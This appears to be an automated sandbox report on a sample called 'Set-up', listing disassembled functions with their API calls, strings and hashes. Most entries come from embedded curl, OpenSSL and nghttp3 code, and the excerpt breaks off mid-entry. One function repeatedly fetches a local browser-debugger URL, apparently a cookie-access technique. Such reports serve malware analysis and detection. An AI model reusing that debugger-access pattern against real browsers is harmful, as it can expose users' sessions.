Instruction Fuzzy Hash: C9D146B1908341ABEB20AB24DC42B7B7BE49F51315F05443CF88A9B282F739ED54C796

Function 0018C350 Relevance: 28.2, APIs: 3, Strings: 13, Instructions: 166stringnetworkCOMMON

Download Yara Rule

APIs

memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,unknown,00000100), ref: 0018C37A
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,Unknown error), ref: 0018C476
WSAGetLastError.WS2_32 ref: 0018C4AE

Strings

r, xrefs: 0018C561
SSL_ERROR_SYSCALL, xrefs: 0018C4F5
erro, xrefs: 0018C568
unknown, xrefs: 0018C374
SSL_ERROR unknown, xrefs: 0018C502, 0018C524
SSL certificate problem: %s, xrefs: 0018C420
Unkn, xrefs: 0018C578
No error, xrefs: 0018C463
Unknown error, xrefs: 0018C468, 0018C474
QUIC connect: %s in connection to %s:%d (%s), xrefs: 0018C525
own , xrefs: 0018C570
SSL certificate verification failed, xrefs: 0018C582
QUIC connection has been shut down, xrefs: 0018C3D1

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: ErrorLastmemcpystrcpy
String ID: No error$QUIC connect: %s in connection to %s:%d (%s)$QUIC connection has been shut down$SSL certificate problem: %s$SSL certificate verification failed$SSL_ERROR unknown$SSL_ERROR_SYSCALL$Unkn$Unknown error$erro$own $r$unknown
API String ID: 31095072-3036451936
Opcode ID: fed33ab2645c624b85bcf2112a5e68f1e4ecf8908caca8ae56e80cb78b917bb9
Instruction ID: 4e6ac435989ca32073affedc80ef5a785f3cd5a59f5ab3d9421ddfff3fcd8d6f
Opcode Fuzzy Hash: fed33ab2645c624b85bcf2112a5e68f1e4ecf8908caca8ae56e80cb78b917bb9
Instruction Fuzzy Hash: 1F5127B1A083489FDB10AA54DC01B7FBB95DF91318F05842DF9889B242D775EA948FA2

Function 0039E990 Relevance: 23.0, APIs: 4, Strings: 9, Instructions: 242COMMON

Download Yara Rule

APIs

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 0039EA90
_stat64.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(?,?), ref: 0039EAD9
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0039EB98

Strings

Given path=%s, xrefs: 0039EC17
file:, xrefs: 0039E9B2
file_open_stream, xrefs: 0039EC9B
Calling OPENSSL_DIR_read("%s"), xrefs: 0039EBD8
localhost/, xrefs: 0039E9FD
file_open, xrefs: 0039EA2D, 0039EB07, 0039EBFF
file_open_dir, xrefs: 0039EBC0, 0039EC6C
calling stat(%s), xrefs: 0039EB25
providers/implementations/storemgmt/file_store.c, xrefs: 0039EA37, 0039EB11, 0039EBCA, 0039EC09, 0039EC76, 0039ECA5

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _errno_stat64tolower
String ID: Calling OPENSSL_DIR_read("%s")$Given path=%s$calling stat(%s)$file:$file_open$file_open_dir$file_open_stream$localhost/$providers/implementations/storemgmt/file_store.c
API String ID: 3401003986-2019258128
Opcode ID: 82649f1c9d01458b892426e657e15be09c057f9e07a20f8542c848fd0aa510ae
Instruction ID: 9ce2471e9f4eb0738fdb6f2bbe9434fc30187333b9db0c76d287a5f62d9d50a0
Opcode Fuzzy Hash: 82649f1c9d01458b892426e657e15be09c057f9e07a20f8542c848fd0aa510ae
Instruction Fuzzy Hash: 20714B71A543006BDF21BB60AC43F2A7794AF11754F094928F989962C3F7B9E820CF97

Function 001725D0 Relevance: 19.8, APIs: 1, Strings: 12, Instructions: 295COMMON

Download Yara Rule

Strings

STARTTLS denied, xrefs: 00173068
STARTTLS, xrefs: 00172D47
PREAUTH connection, already authenticated, xrefs: 00172770
SASL, xrefs: 00172892
AUTH, xrefs: 001728C5
Got unexpected imap-server response, xrefs: 00173034
STARTTLS not available., xrefs: 00173094
L-IR, xrefs: 0017289C
STAR, xrefs: 0017283C
LOGINDISABLED, xrefs: 00172867
CAPABILITY, xrefs: 00172797
TTLS, xrefs: 00172846

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID:
String ID: AUTH$CAPABILITY$Got unexpected imap-server response$L-IR$LOGINDISABLED$PREAUTH connection, already authenticated$SASL$STAR$STARTTLS$STARTTLS denied$STARTTLS not available.$TTLS
API String ID: 0-3171374047
Opcode ID: 79f91a1ae0af82b00cde3f3c5edd910c943dc262aaac2a90c012d6789b40d648
Instruction ID: e9b6616962ab214b8ff216bed574b7b4b3074ddd710a035162f452f18e4da53c
Opcode Fuzzy Hash: 79f91a1ae0af82b00cde3f3c5edd910c943dc262aaac2a90c012d6789b40d648
Instruction Fuzzy Hash: 74B19E70A083019BDB259B24C881B7A77F4BF55704F19C13AF8AD47282DB359F86E792

Function 001AAA00 Relevance: 19.6, APIs: 10, Strings: 1, Instructions: 398COMMON

Download Yara Rule

APIs

_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(00707F98,sfparse.c,000002B9,001AAF5D,?,001AAA4A,001AAF5B,00000000,00000000), ref: 001AAA6A
_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(00707F98,sfparse.c,000002EA,?,001AAA4A,001AAF5B,00000000,00000000), ref: 001AAAED
_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(00707F98,sfparse.c,0000030E), ref: 001AAB78
_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(00707F98,sfparse.c,000002B9), ref: 001AABAA
_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(00707F98,sfparse.c,00000378,?,?,?,001AA378,?,?,?), ref: 001AACBF

Strings

sfparse.c, xrefs: 001AAA60, 001AAAE3, 001AAB6E, 001AABA0, 001AACB5, 001AAD72, 001AADB4, 001AAE46, 001AAF10, 001AAF84

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _assert
String ID: sfparse.c
API String ID: 1222420520-2103165582
Opcode ID: 632db029ef644f436699277333f5e81f40dba4b301b8402da179e72223359ce9
Instruction ID: bf62bffc34e79ef7994fb29d693b47cfae3750ce27d7a4e8b5019fcc8d33f08b
Opcode Fuzzy Hash: 632db029ef644f436699277333f5e81f40dba4b301b8402da179e72223359ce9
Instruction Fuzzy Hash: DDD1E27C6442028FDB394B28D884B39B7D2AF57325FB8865DE0A6C72D1E735A881C753

Function 001120AD Relevance: 19.6, APIs: 3, Strings: 10, Instructions: 142COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 001120D4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 001122D0

Strings

Failed to allocate memory for response., xrefs: 001120F1
Attempt %d failed: %s, xrefs: 0011229F
http://localhost:%d/json, xrefs: 00112170
d, xrefs: 00112178
All %d attempts to fetch debugger URL failed., xrefs: 001122EF
Q, xrefs: 00112213
+N, xrefs: 001121B1
GET request succeeded on attempt %d., xrefs: 0011225D
Failed to initialize curl., xrefs: 0011213F
@, xrefs: 001121F2

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: freemalloc
String ID: +N$@$All %d attempts to fetch debugger URL failed.$Attempt %d failed: %s$Failed to allocate memory for response.$Failed to initialize curl.$GET request succeeded on attempt %d.$Q$d$http://localhost:%d/json
API String ID: 3061335427-1249806554
Opcode ID: 74c70d7252f37de2108cfabedbe6edb97c1ca2a3bd8efe6c87256f0973a3f521
Instruction ID: af5816e0cef26f2ff1a9a23b607d7607c6f9280477763ecbdee67da126ea18be
Opcode Fuzzy Hash: 74c70d7252f37de2108cfabedbe6edb97c1ca2a3bd8efe6c87256f0973a3f521
Instruction Fuzzy Hash: BD61A2B0909309EFDB44EFA8D48579EBBF0BF58314F11882DE598A7341D77899848F92

Function 001B4920 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 162COMMON

Download Yara Rule

APIs

memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(00000000,?,?), ref: 001B499C
_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(!conn->server,nghttp3_conn.c,00000A08), ref: 001B4A0A
_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(conn->server,nghttp3_conn.c,00000A2B,?), ref: 001B4A8E
_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(pri->urgency < NGHTTP3_URGENCY_LEVELS,nghttp3_conn.c,00000A2C), ref: 001B4AA3
_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(pri->inc == 0 || pri->inc == 1,nghttp3_conn.c,00000A2D), ref: 001B4AB8
_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(conn->server,nghttp3_conn.c,00000A3E,?), ref: 001B4B1A

Strings

pri->urgency < NGHTTP3_URGENCY_LEVELS, xrefs: 001B4A9E
conn->server, xrefs: 001B4A89, 001B4B15
!conn->server, xrefs: 001B4A05
pri->inc == 0 || pri->inc == 1, xrefs: 001B4AB3
nghttp3_conn.c, xrefs: 001B4A00, 001B4A84, 001B4A99, 001B4AAE, 001B4B10

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _assert$memcpy
String ID: !conn->server$conn->server$nghttp3_conn.c$pri->inc == 0 || pri->inc == 1$pri->urgency < NGHTTP3_URGENCY_LEVELS
API String ID: 3718630003-1169204258
Opcode ID: c67695eeee1278bd7ec9a16bd5fdb1775f3d6fdad988f74351e0972d01b16110
Instruction ID: abbc1b32d517052db8dd3e821099851bfe2d4286a2e4512a0e9cbeee6fac1ad6
Opcode Fuzzy Hash: c67695eeee1278bd7ec9a16bd5fdb1775f3d6fdad988f74351e0972d01b16110
Instruction Fuzzy Hash: 275123B1640309ABD710DF38DC01BEB77E9EF5A358F048629FA95831D2D770A980C7A6

Function 002C4580 Relevance: 18.2, APIs: 2, Strings: 10, Instructions: 159stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,?,00188C0E,?), ref: 002C45E3
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dynamic,?,?,00188C0E,?), ref: 002C460A

Strings

LOAD, xrefs: 002C46BA
id=%s, xrefs: 002C475E
DIR_ADD, xrefs: 002C4683
LIST_ADD, xrefs: 002C46A0
DIR_LOAD, xrefs: 002C466A
ENGINE_by_id, xrefs: 002C46D5, 002C46FA, 002C4746
crypto/engine/eng_list.c, xrefs: 002C46DF, 002C4704, 002C4750
/data/curl-i686/lib/engines-3, xrefs: 002C462B, 002C4682
dynamic, xrefs: 002C4604, 002C4633
OPENSSL_ENGINES, xrefs: 002C461C

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: strcmp
String ID: /data/curl-i686/lib/engines-3$DIR_ADD$DIR_LOAD$ENGINE_by_id$LIST_ADD$LOAD$OPENSSL_ENGINES$crypto/engine/eng_list.c$dynamic$id=%s
API String ID: 1004003707-1524119518
Opcode ID: a6c0ad39d09925abacef2d127d757dbad35744e66af3706a82505d8859ce1c53
Instruction ID: 3be1700d778d4c5925aa712a38a75e90a6b16c3fd3902154eadfd8d75a913d8c
Opcode Fuzzy Hash: a6c0ad39d09925abacef2d127d757dbad35744e66af3706a82505d8859ce1c53
Instruction Fuzzy Hash: BA41CAB5BA430166E63176643C13F6771588F11B4AF19062CFD09652C3FAD5DD3889A3

Function 00176810 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strchr.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,0000005D), ref: 00176884
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,00000000), ref: 001768AC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 001768C1
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,00000000), ref: 00176973
strchr.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,0000002F), ref: 00176983
atoi.API-MS-WIN-CRT-CONVERT-L1-1-0(00000001), ref: 00176995

Strings

[, xrefs: 001769E1

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: memcpystrchr$atoistrlen
String ID: [
API String ID: 444251876-784033777
Opcode ID: 6e3c9b45e1fe969f3605a28fd6449856c730f6eee424e567c83d16930a39c376
Instruction ID: 540538c378e52bcd66f9e275acb38b5057ac056b483fc477a736533bdf709d0b
Opcode Fuzzy Hash: 6e3c9b45e1fe969f3605a28fd6449856c730f6eee424e567c83d16930a39c376
Instruction Fuzzy Hash: 2AB16B71608B919BDB3A8A25C89077B7FF8EB56304F18C52EE9CDC7181EB39C9448752

Function 001163F0 Relevance: 17.8, APIs: 3, Strings: 7, Instructions: 255fileCOMMON

Download Yara Rule

APIs

fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# Your HSTS cache. https://curl.se/docs/hsts.html# This file was generated by libcurl! Edit at your own risk.,0000006F,00000001,?), ref: 00116467

Strings

# Your HSTS cache. https://curl.se/docs/hsts.html# This file was generated by libcurl! Edit at your own risk., xrefs: 00116462
%s%s "%d%02d%02d %02d:%02d:%02d", xrefs: 00116540
hsts.c, xrefs: 0011656B, 001165CF
unlimited, xrefs: 001164A1
%s%s "%s", xrefs: 001164AA
%d%02d%02d %02d:%02d:%02d, xrefs: 001166D5
mite, xrefs: 00116688

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: fwrite
String ID: # Your HSTS cache. https://curl.se/docs/hsts.html# This file was generated by libcurl! Edit at your own risk.$%d%02d%02d %02d:%02d:%02d$%s%s "%d%02d%02d %02d:%02d:%02d"$%s%s "%s"$hsts.c$mite$unlimited
API String ID: 3559309478-3911685517
Opcode ID: 011ab137a5f36762bb48b2ae5bf856b5d972a2fd8fc24ce8e33764a685eb4370
Instruction ID: 1f12af1942412d78b92dfe4f06406a7f0d05b9fab21e9344b815cc33a191efb2
Opcode Fuzzy Hash: 011ab137a5f36762bb48b2ae5bf856b5d972a2fd8fc24ce8e33764a685eb4370
Instruction Fuzzy Hash: 6081E6B1A05300AFD718DB24DC41BABB6E6AF99754F04453CF94987392EB32DD90CB92

Function 001B6210 Relevance: 17.7, APIs: 4, Strings: 6, Instructions: 184COMMON

Download Yara Rule

APIs

_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(stream->outq_idx + 1 >= npopped,nghttp3_stream.c,000003CE,?,00000000,0018DB9C,?,001B3BB8,00000000,?,?), ref: 001B6433

Strings

chunk->begin == tbuf->buf.begin, xrefs: 001B64C5
nghttp3_stream.c, xrefs: 001B6429, 001B6487, 001B6496, 001B64AB, 001B64C0
stream_pop_outq_entry, xrefs: 001B647D
nghttp3_ringbuf_len(chunks), xrefs: 001B64B0
stream->outq_idx + 1 >= npopped, xrefs: 001B642E
chunk->end == tbuf->buf.end, xrefs: 001B649B

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _assert
String ID: chunk->begin == tbuf->buf.begin$chunk->end == tbuf->buf.end$nghttp3_ringbuf_len(chunks)$nghttp3_stream.c$stream->outq_idx + 1 >= npopped$stream_pop_outq_entry
API String ID: 1222420520-1470553442
Opcode ID: d295d4de08e6fac3ab6c709484afd220d1a010ab070127126330be202449e47f
Instruction ID: d10d6004349e3e6b9db0521ed2e5f2a5c52253323c881c3cda1458cfbd9b0714
Opcode Fuzzy Hash: d295d4de08e6fac3ab6c709484afd220d1a010ab070127126330be202449e47f
Instruction Fuzzy Hash: BC7159B0604344AFDB25DF24DC81AEEB7E5BFA8704F008528F94A972A1E774E950CB52

Function 0012E760 Relevance: 16.9, APIs: 1, Strings: 10, Instructions: 448COMMON

Download Yara Rule

APIs

Part of subcall function 00135EB0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 00135ED4

Part of subcall function 00154F40: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 00154F9E

atoi.API-MS-WIN-CRT-CONVERT-L1-1-0(?), ref: 0012EA9B

Part of subcall function 001306F0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,00135663,?), ref: 001306F9

Strings

